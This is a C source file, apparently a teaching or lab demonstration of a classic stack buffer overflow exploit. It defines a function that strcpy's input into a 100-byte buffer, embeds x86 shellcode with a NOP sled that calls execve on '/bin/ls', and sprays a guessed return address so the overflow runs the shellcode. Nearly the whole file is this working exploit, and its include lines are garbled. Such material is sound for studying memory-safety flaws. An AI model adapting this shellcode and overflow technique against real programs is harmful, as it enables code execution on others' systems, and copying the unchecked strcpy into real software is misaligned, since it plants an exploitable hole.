#include #include unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void foo( const char *s ) { char name[100]; printf("sp is %x\n",get_sp()); strcpy(name,s); printf("Name is %s\n",name); } /* int main(void) { char buf[10000]; int n; n=read(0,buf,2000); printf("read in %d bytes\n",n); printf("Strlen is %d\n",strlen(buf)); foo(buf); printf("Done\n"); } */ unsigned char pgm[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x55, 0x89, 0xe5, 0x31, 0xc9, 0x51, 0xeb, 0x1b, 0x58, 0x88, 0x48, 0x07, 0x89, 0x40, 0x08, 0x89, 0x48, 0x0c, 0x8d, 0x58, 0x08, 0x53, 0x50, 0x31, 0xc0, 0xb0, 0x3b, 0x50, 0xcd, 0x80, 0x83, 0xc4, 0x0c, 0xc9, 0xc3, 0xe8, 0xe0, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x6c, 0x73, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, }; unsigned char str[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x31, 0xc9, 0x51, 0xeb, 0x1b, 0x58, 0x88, 0x48, 0x07, 0x89, 0x40, 0x08, 0x89, 0x48, 0x0c, 0x8d, 0x58, 0x08, 0x53, 0x50, 0x31, 0xc0, 0xb0, 0x3b, 0x50, 0xcd, 0x80, 0x83, 0xc4, 0x0c, 0xc9, 0xc3, 0xe8, 0xe0, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x6c, 0x73, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 }; unsigned char buff[2000]; unsigned int target = 0xbfbff958; int main(int argc, char **argv) { int i; int n = strlen(str); if (argc!=2) { printf("Error - need an offset\n"); exit(); } printf("n is %d\n",n); target += atoi(argv[1]); printf("using %x\n",target); memcpy(buff,str,n); for (i=0;i<10;i++) { printf("Address is %x\n",buff+n+i*4); memcpy(buff+n+i*4,&target,4); } foo(buff); printf("Done\n"); }